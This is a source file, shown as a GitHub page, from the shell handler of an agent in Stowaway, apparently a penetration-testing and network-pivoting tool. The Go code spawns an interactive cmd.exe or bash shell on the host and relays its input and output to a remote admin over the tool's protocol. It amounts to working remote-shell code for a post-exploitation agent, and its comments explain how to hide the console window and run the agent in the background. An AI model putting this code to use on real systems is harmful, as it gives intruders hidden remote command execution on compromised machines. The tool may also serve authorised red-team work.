-
Notifications
You must be signed in to change notification settings - Fork 415
/
Copy pathshell.go
158 lines (129 loc) · 3.76 KB
/
shell.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
package handler
import (
"io"
"os/exec"
"runtime"
"Stowaway/agent/initial"
"Stowaway/agent/manager"
"Stowaway/global"
"Stowaway/protocol"
"Stowaway/utils"
)
type Shell struct {
stdin io.Writer
stdout io.Reader
charset string
}
func newShell(options *initial.Options) *Shell {
shell := new(Shell)
shell.charset = options.Charset
return shell
}
func (shell *Shell) start() {
var cmd *exec.Cmd
var err error
sMessage := protocol.NewUpMsg(global.G_Component.Conn, global.G_Component.Secret, global.G_Component.UUID)
shellResHeader := &protocol.Header{
Sender: global.G_Component.UUID,
Accepter: protocol.ADMIN_UUID,
MessageType: protocol.SHELLRES,
RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), // No need to set route when agent send mess to admin
Route: protocol.TEMP_ROUTE,
}
shellResultHeader := &protocol.Header{
Sender: global.G_Component.UUID,
Accepter: protocol.ADMIN_UUID,
MessageType: protocol.SHELLRESULT,
RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), // No need to set route when agent send mess to admin
Route: protocol.TEMP_ROUTE,
}
shellResFailMess := &protocol.ShellRes{
OK: 0,
}
shellResSuccMess := &protocol.ShellRes{
OK: 1,
}
defer func() {
if err != nil {
protocol.ConstructMessage(sMessage, shellResHeader, shellResFailMess, false)
sMessage.SendMessage()
}
}()
switch utils.CheckSystem() {
case 0x01:
cmd = exec.Command("c:\\windows\\system32\\cmd.exe")
// cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} // If you don't want the cmd window, remove "//"
default:
cmd = exec.Command("/bin/sh", "-i")
if runtime.GOARCH == "386" || runtime.GOARCH == "amd64" {
cmd = exec.Command("/bin/bash", "-i")
}
// If you want to start agent with "&" and you also want to use command "shell",plz recompile a brand new agent by removing "//" in the front of line 70&&71
// cmd.SysProcAttr = &syscall.SysProcAttr{Foreground: true}
// signal.Ignore(syscall.SIGTTIN, syscall.SIGTTOU)
}
shell.stdout, err = cmd.StdoutPipe()
if err != nil {
return
}
shell.stdin, err = cmd.StdinPipe()
if err != nil {
return
}
cmd.Stderr = cmd.Stdout //将stderr重定向至stdout
err = cmd.Start()
if err != nil {
return
}
protocol.ConstructMessage(sMessage, shellResHeader, shellResSuccMess, false)
sMessage.SendMessage()
shellExitHeader := &protocol.Header{
Sender: global.G_Component.UUID,
Accepter: protocol.ADMIN_UUID,
MessageType: protocol.SHELLEXIT,
RouteLen: uint32(len([]byte(protocol.TEMP_ROUTE))), // No need to set route when agent send mess to admin
Route: protocol.TEMP_ROUTE,
}
shellExitMess := &protocol.ShellExit{
OK: 1,
}
buffer := make([]byte, 4096)
for {
count, err := shell.stdout.Read(buffer)
if err != nil {
protocol.ConstructMessage(sMessage, shellExitHeader, shellExitMess, false)
sMessage.SendMessage()
return
}
result := string(buffer[:count])
if shell.charset == "gbk" { // Fix shell output bug when agent is running on Windows,thanks to @lz520520
result = utils.ConvertGBK2Str(result)
count = len(result)
}
shellResultMess := &protocol.ShellResult{
ResultLen: uint64(count),
Result: result,
}
protocol.ConstructMessage(sMessage, shellResultHeader, shellResultMess, false)
sMessage.SendMessage()
}
}
func (shell *Shell) input(command string) {
if shell.charset == "gbk" {
command = utils.ConvertStr2GBK(command)
}
shell.stdin.Write([]byte(command))
}
func DispatchShellMess(mgr *manager.Manager, options *initial.Options) {
var shell *Shell
for {
message := <-mgr.ShellManager.ShellMessChan
switch mess := message.(type) {
case *protocol.ShellReq:
shell = newShell(options)
go shell.start()
case *protocol.ShellCommand:
shell.input(mess.Command)
}
}
}